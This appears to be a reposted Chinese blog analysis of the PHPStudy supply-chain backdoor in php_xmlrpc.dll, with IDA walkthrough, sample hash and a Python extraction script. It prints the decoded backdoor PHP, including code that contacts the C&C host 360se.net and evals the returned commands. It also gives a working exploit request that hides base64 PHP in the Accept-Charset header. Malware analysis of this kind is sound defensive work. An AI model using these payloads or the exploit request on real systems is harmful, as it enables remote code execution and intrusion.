当前位置:网站首页>中科磐云—2022广西逆向解析思路
中科磐云—2022广西逆向解析思路
2022-07-04 04:12:00 【Beluga】
Written by kumqu
on September 30, 2019
PHPStudy后门分析
PHPStudy后门分析
由于PHPStudy遭受了供应链攻击, PHPStudy软件安装包中的php_xmlrpc.dll模块隐藏有后门. 其中, 影响的版本包括PHPStudy 20161103和PHPStudy 20180211. 经过分析, 该后门的核心功能模块有两部分: 第一是通过判断特殊的HTTP头执行远程PHP代码; 第二个是通过判断特殊的HTTP头后连接C&C服务器并执行回传的PHP代码.
实验环境: Windows 7(32位) , PHPStudy 20181103 版本 php-5.2.17/ext 扩展文件夹下的php_xmlrpc.dll.
样本信息
名称 | php_xmlrpc.dll |
SHA256 | aea021c5d79adbdc8a755d2f56db4f2e71781abbdcce2a2fa6e04aff3c02be75 |
类型 | 32位DLL |
大小 | 73,728Byte |
定位特征代码位置
使用IDA打开样本php_xmlrpc.dll, 然后打开字符串窗口, 可以发现@eval()这个代码执行函数 (查阅资料得知, @是PHP提供的错误信息屏蔽专用符号, eval()函数把字符串按照PHP代码执行, 中间%s格式符为字符串传参). 如下图所示, 共有两处eval特征代码, 都位于该后门的核心函数中:
根据这两个字符串的位置和IDA的交叉引用功能, 就可以直接定位到后门代码的位置. F5分别生成这部分后门漏洞的伪代码, 进行如下分析.
远程命令执行后门功能分析
通过参考相关资料得知, 如果攻击者构造的HTTP头中含有Accept-Encoding字段时就会进入对应的攻击流程. 如果HTTP头中同时含有Accept-Encoding: gzip,deflate以及Accept-Charset两个字段时,会先解密Accept-Charset中Base64后的PHP代码,然后执行该代码,从而造成远程命令执行的危害. 这一部分的伪代码分析如下图所示:
连接C&C执行任意代码功能分析
如果攻击者发起的HTTP请求的头部中带有Accept-Encoding:compress,gzip时则会进入另外一个后门功能逻辑:其首先会拼接获取到的磁盘序列号和MAC地址,后续会将磁盘序列号和MAC地址上传作为被控机器的唯一标识,之后会拼接一些其它数据以及PHP函数传递给PHP Zend引擎执行, 这一部分的伪代码如下图所示:
下面的spprintf函数是php官方自己封装的函数,实现了字符串拼接功能.
在这个后门功能模块中, spprintf函数拼接了两次字符串, 分别是: spprintf(&v46, 0, a_evalSS, aGzuncompress, v46);和 spprintf(&v45, 0, aS_valSS, v42, aGzuncompress, v45); . 如下图所示:
由于变量v45和v46在之后都作为参数被zend_eval_strings函数调用执行了, 因此, 可以推测出变量v45和v46存储了shellcode. 上述代码段分别对变量v45和v46进行了预处理. 分析得知, v46的shellcode位于地址1000C028到1000C66C之间, v45的shellcode位于地址1000C66C和1000D5C4之间. (见上图红框)
使用HexEditor查看第一个shellcode的对应位置, 可以看到shellcode前的gzuncompress标识, 如下图所示:
Zend引擎需要解析的这段PHP代码的核心是gzuncompress, 查阅资料得知, 该函数通常用于混淆免杀, 其整个语句的构造为$V='';$M='';;@eval(gzuncompress('数据');. 网上已经有了提取并解压这两段shellcode的脚本, 不重复造轮子. 其代码如下所示:
# -*- coding:utf-8 -*-
# !/usr/bin/env python
importos, sys, string, shutil, re
importbase64
importstruct
importpefile
importctypes
importzlib
defhexdump(src, length=16):
FILTER =''.join([(len(repr(chr(x))) ==3) and chr(x) or '.'for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c + length]
hex=' '.join(["%02x"%ord(x) for x in chars])
printable =''.join(["%s"% ((ord(x) <=127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n"% (c, length *3, hex, printable))
return''.join(lines)
defdescrypt(data):
try:
# data = base64.encodestring(data)
# print(hexdump(data))
num =0
data = zlib.decompress(data)
# return result
return (True, result)
exceptException, e:
print(e)
return (False, "")
defGetSectionData(pe, Section):
try:
ep = Section.VirtualAddress
ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]
# print(hexdump(data))
return data
exceptException, e:
returnNone
defGetSecsions(PE):
try:
for section in PE.sections:
# print(hexdump(section.Name))
if (section.Name.replace('\x00', '') =='.data'):
data = GetSectionData(PE, section)
# print(hexdump(data))
return (True, data)
return (False, "")
exceptException, e:
return (False, "")
defget_encodedata(filename):
pe = pefile.PE(filename)
(ret, data) = GetSecsions(pe)
if ret:
flag ="gzuncompress"
offset = data.find(flag)
data = data[offset +0x10:offset +0x10+0x567*4].replace("\x00\x00\x00", "")
decodedata_1 = zlib.decompress(data[:0x191])
print(hexdump(data[0x191:]))
decodedata_2 = zlib.decompress(data[0x191:])
withopen("decode_1.txt", "w") as hwrite:
hwrite.write(decodedata_1)
hwrite.close
withopen("decode_2.txt", "w") as hwrite:
hwrite.write(decodedata_2)
hwrite.close
defmain(path):
c2s = []
domains = []
file_list = os.listdir(path)
for f in file_list:
print f
file_path = os.path.join(path, f)
get_encodedata(file_path)
if __name__ =="__main__":
path ="php-5.2.17"
main(path)
在 ./phpStudy/php 目录运行下运行上述脚本, 成功获得两段被base64编码过的数据, 如下图所示:
第一段base64数据解码如下:
@ini_set("display_errors","0");
error_reporting(0);
$h=$_SERVER['HTTP_HOST'];
$p=$_SERVER['SERVER_PORT'];
$fp=fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out="GET { $_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out.="Host: { $h}\r\n";
$out.="Accept-Encoding: compress,gzip\r\n";
$out.="Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
这段PHP代码功能是向本机发起一个HTTP请求,并带有Accept-Encoding:compress,gzip请求头,然后该请求就可以自动激活功能模块二,从而连接C&C服务器上传系统信息。自动触发方式结束后就会更新当前触发的时间,下一次就根据这个时间来判断是否进入自动触发方式:
第二段base64数据解码如下:
@ini_set("display_errors","0");
error_reporting(0);
functiontcpGet($sendMsg='', $ip='360se.net', $port='20123'){
$result="";
$handle=stream_socket_client("tcp://{ $ip}:{ $port}", $errno, $errstr,10); //接收数据,每次过来一条数据连接一次
if( !$handle ){
$handle=fsockopen($ip, intval($port), $errno, $errstr, 5);
//错误的时候就重连一次测试
if( !$handle ){
return"err";
}
}
fwrite($handle, $sendMsg."\n"); // 模拟发送数据
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result.=fread($handle, 1024); // 读取文件
$info=stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return$result;
}
$ds=array("www","bbs","cms","down","up","file","ftp");// 域名表
$ps=array("20123","40125","8080","80","53"); // 遍历端口表
$n=false;
do {
$n=false;
foreach ($dsas$d){ //遍历域名表
$b=false;
foreach ($psas$p){ // 遍历端口表
$result= tcpGet($i,$d.".360se.net",$p);
if ($result!="err"){
$b=true;
break;
}
}
if ($b)break;
}
$info=explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !==false){
$info[3] =str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
这段PHP代码中内置有域名表和端口表, 批量遍历后发送请求到C&C地址360se.net, 然后执行由C&C服务器返回的内容.
远程命令执行后门测试
首先, 运行并启动存在问题的PHPStudy版本, 如下图所示:
EXP如下图, 通过构造http请求实现远程代码执行. 其中, echo system("net user")命令经base64编码后为ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7, 可以显示主机上的用户, 用于回显验证. Accept-Encoding字段值设为gzip,deflate, 然后才会判断是否存在Accept-Charset字段并取得该字段的值. base64解码后执行, 即实现远程命令执行:
GET/index.phpHTTP/1.1
Host: 192.168.253.147
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip,deflate
Accept-Charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
在burpsuite中构造上述http请求, 并发送该请求给目标主机, 回显验证了该后门利用实现了.如下图所示:
参考资料
[1] PHPStudyGhost后门隐蔽触发功能详细分析
https://mp.weixin.qq.com/s/t-P-n98ZydP3aSCdC0C9hQ
[2] phpStudy后门简要分析
https://www.freebuf.com/articles/others-articles/215406.html
[3] PHPStudy后门事件分析
https://bbs.pediy.com/thread-254702.htm
2020 KUMQU. Made with Jekyll using the Tale theme.
边栏推荐
猜你喜欢

Flutter 调用高德地图APP实现位置搜索、路线规划、逆地理编码

RPC - grpc simple demo - learn / practice

MAUI 入门教程系列(5.XAML及页面介绍)

Many founders of technology companies provided enterpriser first with a round C financing of up to US $158million to help it invest in the next generation of global innovators
![[Yugong series] go teaching course 001 in July 2022 - Introduction to go language premise](/img/f2/3b95f53d67cd1d1979163910dbeeb8.png)
[Yugong series] go teaching course 001 in July 2022 - Introduction to go language premise

Correct the classpath of your application so that it contains a single, compatible version of com. go

Formatted text of Kivy tutorial (tutorial includes source code)

Dp83848+ network cable hot plug

Niuke Xiaobai monthly race 49

Kivy教程之 格式化文本 (教程含源码)
随机推荐
Annex V: briefing on the attack process docx
测试 CS4344 立体声DA转换器
【MATLAB】MATLAB 仿真模拟调制系统 — DSB 系统
Intersection traffic priority, illustration of intersection traffic rules
How do good test / development programmers practice? Where to go
Annex II: confidentiality agreement for offensive and defensive drills docx
Kivy tutorial 07 component and attribute binding implementation button button click to modify the label component (tutorial includes source code)
红队视角下的防御体系突破之第二篇案例分析
【Go】数据库框架gorm
Exploration and practice of eventbridge in the field of SaaS enterprise integration
First knowledge of batch processing
The paddlehub face recognition scheme is deployed, and the trained model is deployed and applied in pytchrom
Use units of measure in your code for a better life
PostgreSQL 正式超越 MySQL,这家伙也太强了吧!
Longest increasing subsequence problem (do you really know it)
[cloud native] those lines of code that look awesome but have a very simple principle
C language one-way linked list exercise
Drozer tool
Kivy教程之 自定义字体(教程含源码)
电子元器件商城与数据手册下载网站汇总